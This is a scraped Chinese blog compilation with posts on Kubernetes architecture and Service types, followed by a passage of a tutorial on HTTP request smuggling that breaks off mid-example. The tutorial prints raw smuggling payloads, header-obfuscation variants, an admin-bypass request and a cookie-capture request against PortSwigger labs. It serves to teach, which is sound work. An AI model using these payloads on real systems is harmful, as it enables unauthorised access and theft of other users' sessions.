標籤: 銷售文案

【K8S學習筆記】初識K8S 及架構組件
K8S是什麼？發展歷史

Kubernetes （簡稱 k8s）是 Google 在2014年開源的，對容器生命周期管理的開源平台，致力於對容器集群提供易於管理、高可用、彈性負載與故障轉移的能力，提高服務運維自動化的能力。

最初，Google 開發了一個叫 Borg 的系統（現在命名為Omega）來調度據說有20多億個容器和工作負載。在積累了 10 余年經驗后，Google 決定重寫這個容器管理系統，並將其命名為 Kubernetes 貢獻給開源社區，讓全世界都能因此受益。

自從開源以來，K8S迅速獲得開源社區的追捧，包括RedHat、VMware、Canonical在內的有很大影響力公司加入到開發與推廣的陣營。

當微服務的概念的落地實踐開始，微服務就與容器緊緊地綁在了一起，可以說K8s的成功離不開微服務與容器。

2017年是容器生態發展歷史中具有里程碑意義的一年。

在這一年，長期作為Docker競爭對手的RKT容器一派的領導者CoreOS宣布放棄自己的容器管理系統Fleet，未來將會把所有容器管理的功能移至Kubernetes之上去實現。

在這一年，容器管理領域的獨角獸Rancher Labs宣布放棄其內置了數年的容器管理系統Cattle，提出了“All-in-Kubernetes”戰略，從2.0版本開始把1.x版本能夠支持多種容器管理工具的Rancher，“升級”為只支持Kubernetes一種容器管理系統。

在這一年，Kubernetes的主要競爭者Apache Mesos在9月正式宣布了“Kubernetes on Mesos”集成計劃，由競爭關係轉為對Kubernetes提供支持，使其能夠與Mesos的其他一級框架（如HDFS、Spark 和Chronos，等等）進行集群資源動態共享、分配與隔離。

在這一年，Kubernetes的最大競爭者Docker Swarm的母公司Docker，終於在10月被迫宣布Docker要同時支持Swarm與Kubernetes兩套容器管理系統，事實上承認了Kubernetes的統治地位。這場已經持續了三、四年時間，以Docker Swarm、Apache Mesos與Kubernetes為主要競爭者的“容器戰爭”終於有了明確的結果。

時至今日，K8S 已經是發展最快、市場佔有率最高的容器編排系統，是業界標杆。

小結：Kubernetes是Google公司2014年開源的容器編排產品，經過多年的發展，已經成為容器編排領域的佼佼者，擁有最廣大的用戶群體

應用部署容器化的發展歷程

要說K8S的作用，得先從容器的發展與優勢講起，大致可分為傳統部署時代、虛擬化部署時代、容器部署時代

傳統部署時代： 早期，在物理服務器上運行應用程序。無法為物理服務器中的應用程序定義資源邊界，這會導致資源分配困難與資源浪費的問題。例如，如果在物理服務器上運行多個應用程序，則可能會出現一個應用程序佔用大部分資源的情況，結果可能導致其他應用程序的性能下降。一種解決方案是在不同的物理服務器上運行每個應用程序，但是由於資源利用不足而無法擴展，並且組織維護許多物理服務器的成本很高。

虛擬化部署時代： 作為解決方案，引入了虛擬化功能，它允許您在單個物理服務器的 CPU 上運行多個虛擬機（VM）。虛擬化功能允許應用程序在 VM 之間隔離，並提供安全級別，因為一個應用程序的信息不能被另一應用程序自由地訪問。

因為虛擬化可以輕鬆地添加或更新應用程序、降低硬件成本等等，所以虛擬化可以更好地利用物理服務器中的資源，並可以實現更好的可伸縮性。

每個 VM 是一台完整的計算機，在虛擬化硬件之上運行所有組件，包括其自己的操作系統，這勢必也會造成資源的浪費、性能的下降

容器部署時代： 容器類似於 VM，但是它們具有輕量級的隔離屬性，可以在應用程序之間共享操作系統（OS）。因此，容器被認為是輕量級的。容器與 VM 類似，具有自己的文件系統、CPU、內存、進程空間等。由於它們與基礎架構分離，因此可以跨雲和 OS 分發進行移植。

容器因具有許多優勢而變得流行起來。下面列出了容器的一些好處：
- 敏捷應用程序的創建和部署：與使用 VM 鏡像相比，提高了容器鏡像創建的簡便性和效率。
- 持續開發、集成和部署：通過快速簡單的回滾(由於鏡像不可變性)，提供可靠且頻繁的容器鏡像構建和部署。
- 關注開發與運維的分離：在構建/發布時而不是在部署時創建應用程序容器鏡像，從而將應用程序與基礎架構分離。
- 可觀察性：不僅可以显示操作系統級別的信息和指標，還可以显示應用程序的運行狀況和其他指標信號。
- 跨開發、測試和生產的環境一致性：在便攜式計算機上與在雲中相同地運行。
- 雲和操作系統分發的可移植性：可在 Ubuntu、RHEL、CoreOS、本地、Google Kubernetes Engine 和其他任何地方運行。
- 以應用程序為中心的管理：提高抽象級別，從在虛擬硬件上運行 OS 到使用邏輯資源在 OS 上運行應用程序。
- 鬆散耦合、分佈式、彈性、解放的微服務：應用程序被分解成較小的獨立部分，並且可以動態部署和管理 – 而不是在一台大型單機上整體運行。
- 資源隔離：可預測的應用程序性能。
- 資源利用：高效率和高密度。
小結：相對於傳統物理機部署方式，虛擬機部署將資源更好的隔離開來，使資源分配與隔離的問題解決，提高了資源使用率，但是由於其虛擬了硬件與OS，會浪費不必要的資源；容器部署繼承了虛擬機部署的資源隔離優勢的同時，使用共享宿主機的硬件與OS的方式，資源消耗更少，由於與基礎架構進行了分離，可以做到良好的移植性

為什麼需要 Kubernetes，它能做什麼?

容器是打包和運行應用程序的好方式。在生產環境中，如果一個容器發生故障，則啟動另一個容器。如此處理會不會更簡單？

K8s就是這麼做的！K8s 為您提供了一個可彈性運行分佈式系統的框架，能滿足您的擴展要求、故障轉移、部署模式等。

Kubernetes 為您提供：
- 服務發現和負載均衡
  Kubernetes 可以使用 DNS 名稱或自己的 IP 地址公開容器，如果到容器的流量很大，Kubernetes 可以負載均衡並分配網絡流量，從而使部署穩定。
- 存儲編排
  Kubernetes 允許您自動掛載您選擇的存儲系統，例如本地存儲、公共雲提供商等。
- 自動部署和回滾
  您可以使用 Kubernetes 描述已部署容器的所需狀態，它可以以受控的速率將實際狀態更改為所需狀態。例如，您可以自動化 Kubernetes 來為您的部署創建新容器，刪除現有容器並將它們的所有資源用於新容器。
- 自動二進制打包
  Kubernetes 允許您指定每個容器所需 CPU 和內存（RAM）。當容器指定了資源請求時，Kubernetes 可以做出更好的決策來管理容器的資源。
- 自我修復
  Kubernetes 重新啟動失敗的容器、替換容器、殺死不響應用戶定義的運行狀況檢查的容器，並且在準備好服務之前不將其通告給客戶端。
- 密鑰與配置管理
  Kubernetes 允許您存儲和管理敏感信息，例如密碼、OAuth 令牌和 ssh 密鑰。您可以在不重建容器鏡像的情況下部署和更新密鑰和應用程序配置，也無需在堆棧配置中暴露密鑰。
小結：K8S 提供了服務發現和負載均衡、存儲編排、自動部署和回滾、自動二進制打包、自我修復、密鑰與配置管理等功能，能滿足您的擴展要求、故障轉移、部署模式等需求

擴展
1、有微服務實踐的讀者可能會發現，微服務組件中的服務發現、負載均衡、網關等功能在K8s體系中都有對應的實現，那麼是不是我就可以不使用其他微服務的體系而直接擁抱K8s呢？
答案是可以的。但有一點限制就是開發人員要學習K8s，偏向DevOps了。
2、既然K8s提供了微服務所需的基礎組件實現，但我可以不用么？
答案也是可行的。K8s的組件插拔能力允許你這麼做，這樣一來開發測試環境使用本地部署註冊中心等組件，開發人員就無需關心K8s了，只需要理解所用微服務框架本身，如Spring Cloud等。

Kubernetes 不是什麼

Kubernetes 不是傳統的、包羅萬象的 PaaS（平台即服務）系統。它只提供了 PaaS 產品共有的一些普遍適用的功能，例如部署、擴展、負載均衡、日誌記錄和監視。但是，Kubernetes 不是單一的，默認解決方案是可選和可插拔的。Kubernetes 提供了構建開發人員平台的基礎，但是在重要的地方保留了用戶的選擇和靈活性。

Kubernetes：
- 不限制支持的應用程序類型。Kubernetes 旨在支持極其多種多樣的工作負載，包括無狀態、有狀態和數據處理工作負載。如果應用程序可以在容器中運行，那麼它應該可以在 Kubernetes 上很好地運行。
- 不部署源代碼，也不構建您的應用程序。持續集成(CI)、交付和部署（CI/CD）工作流取決於組織的文化和偏好以及技術要求。
- 不提供應用程序級別的服務作為內置服務，例如中間件（例如，消息中間件）、數據處理框架（例如，Spark）、數據庫（例如，mysql）、緩存、集群存儲系統（例如，Ceph）。這樣的組件可以在 Kubernetes 上運行，並且/或者可以由運行在 Kubernetes 上的應用程序通過可移植機制（例如，開放服務代理）來訪問。
- 不指定日誌記錄、監視或警報解決方案。它提供了一些集成作為概念證明，並提供了收集和導出指標的機制。
- 不提供或不要求配置語言/系統（例如 jsonnet），它提供了聲明性 API，該聲明性 API 可以由任意形式的聲明性規範所構成。
- 不提供也不採用任何全面的機器配置、維護、管理或自我修復系統。
- 此外，Kubernetes 不僅僅是一個編排系統，實際上它消除了編排的需要。編排的技術定義是執行已定義的工作流程：首先執行 A，然後執行 B，再執行 C。相比之下，Kubernetes 包含一組獨立的、可組合的控制過程，這些過程連續地將當前狀態驅動到所提供的所需狀態。從 A 到 C 的方式無關緊要，也不需要集中控制，這使得系統更易於使用且功能更強大、健壯、彈性和可擴展性。
小結：K8S 提供了基礎的容器編排平台，但並不是大而全地將所有可能的功能都直接集成進來，而是做成可插拔的形式，可以做到因地適宜地組織與管理集群，擁有很高的靈活性。

Kubernetes 架構與組件

K8s的架構如上圖，左邊虛線框的部分稱為控制平面（Control Plane），右側為集群節點（Nodes）

控制平面所在的主機稱為 Master 節點，其餘稱為 Nodes 執行節點

簡單按這兩種角色來講，Master節點負責發號施令（下發命令、監控節點與容器狀態），而 Nodes 節點負責幹活

控制平面（Control Plane）組件

控制平面的組件對集群做出全局決策(比如調度)，以及檢測和響應集群事件

控制平面組件可以在集群中的任何節點上運行。簡單起見，通常會將控制平台配置在一台主機上，也可以配置高可用形式。

下邊我們介紹下控制平面中的幾大組件：
- kube-apiserver：Master節點上負責提供 Kubernetes API 服務的組件；它是 Kubernetes 控制面的前端，由它來接收來自 CLI 與 UI 的指令
- etcd：是兼具一致性和高可用性的鍵值數據庫，可以作為保存 Kubernetes 所有集群數據的後台數據庫。
- kube-scheduler：Master節點上的組件，該組件監視那些新創建的未指定運行節點的 Pod，並選擇節點讓 Pod 在上面運行。
- kube-controller-manager：控制器通過 apiserver 監控集群的公共狀態，並致力於將當前狀態轉變為期望的狀態。從邏輯上講，每個控制器都是一個單獨的進程，但是為了降低複雜性，它們都被編譯到同一個可執行文件，並在一個進程中運行。包含以下幾種控制器：
  - 節點控制器（Node Controller）: 負責在節點出現故障時進行通知和響應。
  - 副本控制器（Replication Controller）: 負責為系統中的每個副本控制器對象維護正確數量的 Pod。
  - 端點控制器（Endpoints Controller）: 填充端點(Endpoints)對象(即加入 Service 與 Pod)。
  - 服務帳戶和令牌控制器（Service Account & Token Controllers）: 為新的命名空間創建默認帳戶和 API 訪問令牌
- cloud-controller-manager：雲控制器管理器負責與基礎雲提供商交互，以下控制器具有雲提供商依賴性:
  - 節點控制器（Node Controller）: 用於檢查雲提供商以確定節點是否在雲中停止響應后被刪除
  - 路由控制器（Route Controller）: 用於在底層雲基礎架構中設置路由
  - 服務控制器（Service Controller）: 用於創建、更新和刪除雲提供商負載均衡器
  - 數據卷控制器（Volume Controller）: 用於創建、附加和裝載卷、並與雲提供商進行交互以編排卷
節點（Node）組件

節點組件在每個節點上運行，維護運行的 Pod 並提供 Kubernetes 運行環境

節點組件包含兩大組件：
- kubelet：一個在集群中每個節點上運行的代理。它保證容器都運行在 Pod 中。
  
  kubelet 接收一組通過各類機制提供給它的 PodSpecs，確保這些 PodSpecs 中描述的容器處於運行狀態且健康。kubelet 不會管理不是由 Kubernetes 創建的容器。
- kube-proxy：是集群中每個節點上運行的網絡代理，實現 Kubernetes Service 概念的一部分。
  
  kube-proxy 維護節點上的網絡規則。這些網絡規則允許從集群內部或外部的網絡會話與 Pod 進行網絡通信。
  
  如果操作系統提供了數據包過濾層並可用的話，kube-proxy會通過它來實現網絡規則。否則，kube-proxy 僅轉發流量本身
- 容器運行環境(Container Runtime)：容器運行環境是負責運行容器的軟件。K8s支持多種容器運行環境：Docker、containerd、cri-o、rklet 以及任何實現K8s容器運行環境接口的技術。
插件(Addons)
- DNS：所有 Kubernetes 集群都應具有 DNS。集群 DNS 還是一個 DNS 服務器，它為 Kubernetes 服務提供 DNS 記錄。
- 用戶界面(Dashboard)：Kubernetes 集群基於 Web 的 UI。它使用戶可以管理集群中運行的應用程序以及集群本身並進行故障排除。
Dashboard 是 Kubernetes 集群的通用基於 Web 的 UI。它使用戶可以管理集群中運行的應用程序以及集群本身並進行故障排除。
- 容器資源監控：將關於容器的一些常見的時間序列度量值保存到一個集中的數據庫中，並提供用於瀏覽這些數據的界面。
- 集群層面日誌：負責將容器的日誌數據保存到一個集中的日誌存儲中，該存儲能夠提供搜索和瀏覽接口。
小結：K8s架構分為控制平台位於的Master節點與執行節點Node

控制平台包含：
kube-apiserver（訪問入口，接收命令）
etcd（KV數據庫，保存集群狀態與數據）
kube-scheduler（監控節點狀態，調度容器部署）
kube-controller-manager（監控集群狀態，控制節點、副本、端點、賬戶與令牌）
cloud-controller-manager（控制與雲交互的節點、路由、服務、數據卷）

執行節點包含：

kubelet（監控與實際操作容器）
kube-proxy（每個節點上運行的網絡代理，維護網絡轉發規則，實現了Service）
容器運行時環境CRI（支持多種實現K8s CRI的容器技術）

本文總結

Kubernetes 作為容器編排的領航者，將容器化的優勢發揮得淋漓盡致，排除了容器難於管理的問題。

按角色來看，K8s可以分為兩部分，控制平面與執行節點，控制平台通過一系列接收指令、監控、部署調度等功能的組件組成，最主要的有kube-apiserver、etcd、kube-scheduler、kube-controller-manager；執行節點包含負責監控與具體幹活的kubelet和維護網絡規則的kube-proxy

參考文章

https://kubernetes.io/docs/concepts/overview/components/

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站，提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞，目前市場使用率逐漸普及化

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

2020-10-20

【K8S】Service服務詳解，看這一篇就夠了！！

k8s用命名空間namespace把資源進行隔離，默認情況下，相同的命名空間里的服務可以相互通訊，反之進行隔離。

1.1 Service

Kubernetes中一個應用服務會有一個或多個實例（Pod,Pod可以通過rs進行多複本的建立）,每個實例（Pod）的IP地址由網絡插件動態隨機分配（Pod重啟后IP地址會改變）。為屏蔽這些後端實例的動態變化和對多實例的負載均衡，引入了Service這個資源對象，如下所示:

apiVersion: v1
kind: Service
metadata:
  name: nginx-svc
  labels:
    app: nginx
spec:
  type: ClusterIP
  ports:
    - port: 80
       targetPort: 80
  selector:  #service通過selector和pod建立關聯
    app: nginx

根據創建Service的type類型不同，可分成4種模式：

ClusterIP：默認方式。根據是否生成ClusterIP又可分為普通Service和Headless Service兩類：
- 普通Service：通過為Kubernetes的Service分配一個集群內部可訪問的固定虛擬IP（Cluster IP），實現集群內的訪問。為最常見的方式。
- Headless Service：該服務不會分配Cluster IP，也不通過kube-proxy做反向代理和負載均衡。而是通過DNS提供穩定的絡ID來訪問，DNS會將headless service的後端直接解析為podIP列表。主要供StatefulSet使用。
NodePort：除了使用Cluster IP之外，還通過將service的port映射到集群內每個節點的相同一個端口，實現通過nodeIP:nodePort從集群外訪問服務。
LoadBalancer：和nodePort類似，不過除了使用一個Cluster IP和nodePort之外，還會向所使用的公有雲申請一個負載均衡器(負載均衡器後端映射到各節點的nodePort)，實現從集群外通過LB訪問服務。
ExternalName：是 Service 的特例。此模式主要面向運行在集群外部的服務，通過它可以將外部服務映射進k8s集群，且具備k8s內服務的一些特徵（如具備namespace等屬性），來為集群內部提供服務。此模式要求kube-dns的版本為1.7或以上。這種模式和前三種模式（除headless service）最大的不同是重定向依賴的是dns層次，而不是通過kube-proxy。
比如，在service定義中指定externalName的值”my.database.example.com”：

此時k8s集群內的DNS服務會給集群內的服務名 ..svc.cluster.local 創建一個CNAME記錄，其值為指定的”my.database.example.com”。
當查詢k8s集群內的服務my-service.prod.svc.cluster.local時，集群的 DNS 服務將返回映射的CNAME記錄”foo.bar.example.com”。

備註：前3種模式，定義服務的時候通過selector指定服務對應的pods，根據pods的地址創建出endpoints作為服務後端；Endpoints Controller會watch Service以及pod的變化，維護對應的Endpoint信息。kube-proxy根據Service和Endpoint來維護本地的路由規則。當Endpoint發生變化，即Service以及關聯的pod發生變化，kube-proxy都會在每個節點上更新iptables，實現一層負載均衡。而ExternalName模式則不指定selector，相應的也就沒有port和endpoints。 ExternalName和ClusterIP中的Headles Service同屬於Headless Service的兩種情況。Headless Service主要是指不分配Service IP，且不通過kube-proxy做反向代理和負載均衡的服務。

1.2 Port

Service中主要涉及三種Port： * port 這裏的port表示service暴露在clusterIP上的端口，clusterIP:Port 是提供給集群內部訪問kubernetes服務的入口。

targetPort

containerPort，targetPort是pod上的端口，從port和nodePort上到來的數據最終經過kube-proxy流入到後端pod的targetPort上進入容器。

nodePort

nodeIP:nodePort 是提供給從集群外部訪問kubernetes服務的入口。

總的來說，port和nodePort都是service的端口，前者暴露給從集群內訪問服務，後者暴露給從集群外訪問服務。從這兩個端口到來的數據都需要經過反向代理kube-proxy流入後端具體pod的targetPort，從而進入到pod上的容器內。

1.3 IP

使用Service服務還會涉及到幾種IP：

ClusterIP

Pod IP 地址是實際存在於某個網卡(可以是虛擬設備)上的，但clusterIP就不一樣了，沒有網絡設備承載這個地址。它是一個虛擬地址，由kube-proxy使用iptables規則重新定向到其本地端口，再均衡到後端Pod。當kube-proxy發現一個新的service后，它會在本地節點打開一個任意端口，創建相應的iptables規則，重定向服務的clusterIP和port到這個新建的端口，開始接受到達這個服務的連接。

Pod IP

Pod的IP，每個Pod啟動時，會自動創建一個鏡像為gcr.io/google_containers/pause的容器，Pod內部其他容器的網絡模式使用container模式，並指定為pause容器的ID，即：network_mode: “container:pause容器ID”，使得Pod內所有容器共享pause容器的網絡，與外部的通信經由此容器代理，pause容器的IP也可以稱為Pod IP。

節點IP

Node-IP，service對象在Cluster IP range池中分配到的IP只能在內部訪問，如果服務作為一個應用程序內部的層次，還是很合適的。如果這個service作為前端服務，準備為集群外的客戶提供業務，我們就需要給這個服務提供公共IP了。指定service的spec.type=NodePort，這個類型的service，系統會給它在集群的各個代理節點上分配一個節點級別的端口，能訪問到代理節點的客戶端都能訪問這個端口，從而訪問到服務。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

2020-10-20

HTTP Request Smuggling 請求走私

參考文章

淺析HTTP走私攻擊
SeeBug-協議層的攻擊——HTTP請求走私
HTTP 走私漏洞分析
HTTP-Request-Smuggling

簡單介紹

攻擊者通過構造特殊結構的請求，干擾網站服務器對請求的處理，從而實現攻擊目標

前提知識

注：以下文章中的前端指的是(代理服務器、CDN、WAF,負載均衡,Nginx,HAproxy等)

Persistent Connection:持久連接，Connection: keep-alive。
比如打開一個網頁，我們可以在瀏覽器控制端看到瀏覽器發送了許多請求(HTML、圖片、css、js)，而我們知道每一次發送HTTP請求需要經過 TCP 三次握手，發送完畢又有四次揮手。當單個用戶同時需要發送多個請求時，這一點消耗或許微不足道，但當有許多用戶同時發起請求的時候，便會給服務器造成很多不必要的消耗。為了解決這一問題，在 HTTP 協議中便新加了 Connection: keep-alive 這一個請求頭，當有些請求帶着 Connection: close 的話，通信完成之後，服務器才會中斷 TCP 連接。如此便解決了額外消耗的問題，但是服務器端處理請求的方式仍舊是請求一次響應一次，然後再處理下一個請求，當一個請求發生阻塞時，便會影響後續所有請求，為此 Pipelining 異步技術解決了這一個問題

Pipelining:能一次處理多個請求，客戶端不必等到上一個請求的響應后再發送下一個請求。服務器那邊一次可以接收多個請求，需要遵循先入先出機制，將請求和響應嚴格對應起來，再將響應發送給客戶端

但是這樣也會帶來一個問題————如何區分每一個請求才不會導致混淆————前端與後端必須短時間內對每個數據包的邊界大小達成一致。否則，攻擊者就可以構造發送一個特殊的數據包發起攻擊。那麼如何界定數據包邊界呢？
有兩種方式： Content-Length 、 Transfer-Encoding.

Content-Length:CL，請求體或者響應體長度(十進制)。字符算一個，CRLF(一個換行)算兩個。通常如果 Content-Length 的值比實際長度小，會造成內容被截斷；如果比實體內容大，會造成 pending，也就是等待直到超時。

Transfer-Encoding:TE，其只有一個值 chunked (分塊編碼)。分塊編碼相當簡單，在頭部加入 Transfer-Encoding: chunked 之後，就代表這個報文採用了分塊編碼。這時，報文中的實體需要改為用一系列分塊來傳輸。每個分塊包含十六進制的長度值和數據，長度值獨佔一行，長度不包括它結尾的 CRLF（\r\n），也不包括分塊數據結尾的 CRLF，但是包括分塊中的換行，值算2。最後一個分塊長度值必須為 0，對應的分塊數據沒有內容，表示實體結束。
例如：

POST /langdetect HTTP/1.1
Host: fanyi.baidu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Transfer-Encoding: chunked

2;逗號後面是註釋
qu
3;3表示後面的字符長度為3(十六進制)，不算CRLF(\r\n回車換行)
ery
1
=
2
ja
2
ck
0;0表示實體結束

注：根據 RFC 標準，如果接收到的消息同時具有傳輸編碼標頭字段和內容長度標頭字段，則必須忽略內容長度標頭字段，當然也有不遵循標準的例外。

根據標準，當接受到如 Transfer-Encoding: chunked, error 有多個值或者不識別的值時的時候，應該返回 400 錯誤。但是有一些方法可以繞過
(導致既不返回400錯誤，又可以使 Transfer-Encoding 標頭失效)：

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked

Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

GET / HTTP/1.1
 Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
 : chunked

產生原因

HTTP規範提供了兩種不同方式來指定請求的結束位置，它們是 Content-Length 標頭和 Transfer-Encoding 標頭。當前/後端對數據包邊界的校驗不一致時，
使得後端將一個惡意的殘缺請求需要和下一個正常的請求進行拼接，從而吞併了其他用戶的正常請求。如圖：

那麼前/後端校驗不一致有那些情況呢呢呢呢？

類型

CL-TE: 前端: Content-Length,後端: Transfer-Encoding

BURP實驗環境

第一次請求：

第二次請求：

原理：前端服務器通過 Content-Length 界定數據包邊界，檢測到數據包無異常通過，然後傳輸到後端服務器，後端服務器通過 Transfer-Encoding 界定數據包邊界，導致 R0oKi3 字段被識別為下一個數據包的內容，而被送到了緩衝區，由於內容不完整，會等待後續數據，當正常用戶的請求傳輸到後端時，與之前滯留的惡意數據進行了拼接，組成了 R0OKI3POST ，為不可識別的請求方式，導致403。

TE-CL: 前端: Transfer-Encoding,後端: Content-Length

BURP實驗環境
記得關 burp 的 Update Content-Length 功能

第一次請求：

第二次請求：

原理：跟 CL-TE 相似

TE-TE: 前端: Transfer-Encoding,後端: Transfer-Encoding

BURP實驗環境
記得關 burp 的 Update Content-Length 功能

第一次請求：

第二次請求：

原理：前端服務器通過第一個 Transfer-Encoding 界定數據包邊界，檢測到數據包無異常通過，然後傳輸到後端服務器，後端服務器通過第二個 Transfer-Encoding 界定數據包邊界，結果為一個不可識別的標頭，然後便退而求其次使用 Content-Length 校驗，結果就跟 TE-CL 形式無異了。同樣若是前端服務器校驗第二個，後端服務器校驗第一個，那結果也就跟 CL-TE 形式無異了。

CL-CL: 前端: Content-Length,後端: Content-Length

在RFC7230規範中，規定當服務器收到的請求中包含兩個 Content-Length，而且兩者的值不同時，需要返回400錯誤。但難免會有服務器不嚴格遵守該規範。假設前端和後端服務器都收到該類請求，且不報錯，其中前端服務器按照第一個Content-Length的值對請求進行為數據包定界，而後端服務器則按照第二個Content-Length的值進行處理。

這時攻擊者可以惡意構造一個特殊的請求：

POST / HTTP/1.1
Host: example.com
Content-Length: 11
Content-Length: 5

123
R0oKi3

原理：前端服務器獲取到的數據包的長度11，由此界定數據包邊界，檢測到數據包無異常通過，然後傳輸到後端，而後端服務器獲取到的數據包長度為5。當讀取完前5個字符后，後端服務器認為該請求已經讀取完畢。便去識別下一個數據包，而此時的緩衝區中還剩下 R0oKi3，它被認為是下一個請求的一部分，由於內容不完整，會等待後續數據，當正常用戶的請求傳輸到後端時，與之前滯留的惡意數據進行了拼接，攻擊便在此展開。

CL 不為 0 的 GET 請求:

假設前端服務器允許 GET 請求攜帶請求體，而後端服務器不允許 GET 請求攜帶請求體，它會直接忽略掉 GET 請求中的 Content-Length 頭，不進行處理。這就有可能導致請求走私。
比如發送下面請求：

GET / HTTP/1.1
Host: example.com
Content-Length: 72

POST /comment HTTP/1.1
Host: example.com
Content-Length:666

msg=aaa

前端服務器通過讀取Content-Length，確認這是個完整的請求，然後轉發到後端服務器，而後端服務器因為不對 Content-Length 進行判斷，於是在後端服務器中該請求就變成了兩個：
第一個：

GET / HTTP/1.1
Host: example.com
Content-Length: 72

第二個：

POST /comment HTTP/1.1
Host: example.com
Content-Length:666

msg=aaa

而第二個為 POST 請求，假定其為發表評論的數據包，再假定後端服務器是依靠 Content-Length 來界定數據包的，那麼由於數據包長度為 666，那麼便會等待其他數據，等到正常用戶的請求包到來，便會與其拼接，變成 msg=aaa……………… ，然後會將显示在評論頁面，也就會導致用戶的 Cookie 等信息的泄露。

PortSwigger 其他實驗

使用 CL-TE 繞過前端服務器安全控制

BURP實驗環境
坑點：有時候實體數據里需要添加一些別的字段或者空行，不然會出一些很奇怪的錯誤，所以我在弄的時候參照了seebug 404Team
實驗要求：獲取 admin 身份並刪除 carlos 用戶

第一步：實驗提示我們 admin 管理面版在 /admin 目錄下，直接訪問，显示：

第二步：利用 CL-TE 請求走私繞過前端服務器安全控制

第一次發包

坑點：數據實體一定要多一些其他字段或者多兩行空白，不然報 Invalid request 請求不合法

0

GET /admin HTTP/1.1


# 若是多了兩行空白，那麼 foo: bar 字段可以不要

提示 admin 要從 localhost 登陸

改包后多發幾次得到
改包刪除用戶
再次請求 /admin 頁面，發現 carlos 用戶已不存在

坑點：這裏再次請求的時候記得多加兩個空行改變一下 Content-Length 的值，不然會显示不出來，神奇 BUG？

原理：網站進行身份驗證的處理是在前端服務器，當直接訪問 /admin 目錄時，由於通過不了前端驗證，所以會返回 Blocked。利用請求走私，便可以繞過前端驗證，直接在後端產生一個訪問 /admin 目錄的請求包，當發起下一個請求時，響應的數據包對應的是走私的請求包，如此便可以查看 admin 面板的頁面數據，從而達到繞過前端身份驗證刪除用戶的目的。

使用 TE-CL 繞過前端服務器安全控制

BURP實驗環境

實驗過程與上一個實驗相仿，不過要記得關 burp 的 Update Content-Length

這裏：不知道為什麼一定要加 Content-Length 和其他的一些詞，不加的話會显示 Invalid request 請求不合法？？？？？？？？？

獲取前端服務器重寫請求字段(CL-TE)

BURP實驗環境

摘自seebug 404Team
在有的網絡環境下，前端代理服務器在收到請求后，不會直接轉發給後端服務器，而是先添加一些必要的字段，然後再轉發給後端服務器。這些字段是後端服務器對請求進行處理所必須的，比如：

描述TLS連接所使用的協議和密碼

包含用戶IP地址的XFF頭

用戶的會話令牌ID
總之，如果不能獲取到代理服務器添加或者重寫的字段，我們走私過去的請求就不能被後端服務器進行正確的處理。那麼我們該如何獲取這些值呢。PortSwigger提供了一個很簡單的方法，主要是三大步驟：

找一個能夠將請求參數的值輸出到響應中的POST請求

把該POST請求中，找到的這個特殊的參數放在消息的最後面

然後走私這一個請求，然後直接發送一個普通的請求，前端服務器對這個請求重寫的一些字段就會显示出來。

第一步：找一個能夠將請求參數的值輸出到響應中的POST請求
第二步：利用 CL-TE 走私截獲正常數據包經前端服務器修改后發送過來的內容，並輸出在響應包中

這一步的原理：由於我們走私構造的請求包為：

POST / HTTP/1.1
Content-Length: 100

search=66666

從這裏可以看到，Content-Length 的值為 100，而我們的實體數據僅為 search=66666，遠沒有 100，於是後端服務器便會進入等待狀態，當下一個正常請求到來時，會與之前滯留的請求進行拼接，從而導致走私的請求包吞併了下一個請求的部分或全部內容，並返回走私請求的響應。

第三步：在走私的請求上添加這個字段，然後走私一個刪除用戶的請求。
查看 /admin 頁面，發現用戶已被刪除

能用來干什麼

賬戶劫持 CL-TE
BURP實驗環境

構造特殊請求包，形成一個走私請求
查看評論

原理：(跟 獲取前端服務器重寫請求字段 相似)
我們走私構造的請求包為：

POST /post/comment HTTP/1.1
Host: aca41ff41e89d28f800d3e82001a00c8.web-security-academy.net
Content-Length: 900
Cookie: session=XPbI3LJQJCoBcQOvsLdfyCNbOKqsGudy

csrf=Nk6OsCxcNIUdfnrpQuy9N3WO0zLLcAWU&postId=4&name=aaa&email=aaa%40aaa.com&website=&comment=aaaa

可以看到 Content-Length 值為 900，而我們的實體數據僅為 csrf=Nk6OsCxcNIUdfnrpQuy9N3WO0zLLcAWU&postId=4&name=aaa&email=aaa%40aaa.com&website=&comment=aaaa，遠不足900，於是後端服務器便會進入等待狀態，當下一個正常請求到來時，會與之前滯留的請求進行拼接，從而導致走私的請求包吞併了下一個請求的部分或全部內容，並且由於是構造發起評論的請求包，所以數據會存入數據庫，從而打開頁面便會看到其他用戶的請求包內容，獲取其敏感數據，由於環境只有我一個人在玩，所以只能獲取到自己的敏感數據。

注意：一定要將 comment=aaaa 放在最後

Reflected XSS + Smuggling 造成無需交互的 XSS（CL-TE）
BURP實驗環境

首先反射型 XSS 在文章頁面
構造請求走私 payload
導致無交互 XSS

惡意重定向
環境暫無

許多應用程序執行從一個 URL 到另一個URL的重定向，會將來自請求的 Host 標頭的主機名放入重定向URL。一個示例是 Apache 和 IIS Web 服務器的默認行為，在該行為中，對不帶斜杠的文件夾的請求將收到對包含該斜杠的文件夾的重定向：

請求
GET /home HTTP/1.1
Host: normal-website.com

響應
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

通常，此行為被認為是無害的，但是可以在走私請求攻擊中利用它來將其他用戶重定向到外部域。例如：

 POST / HTTP/1.1
Host: vulnerable-website.com
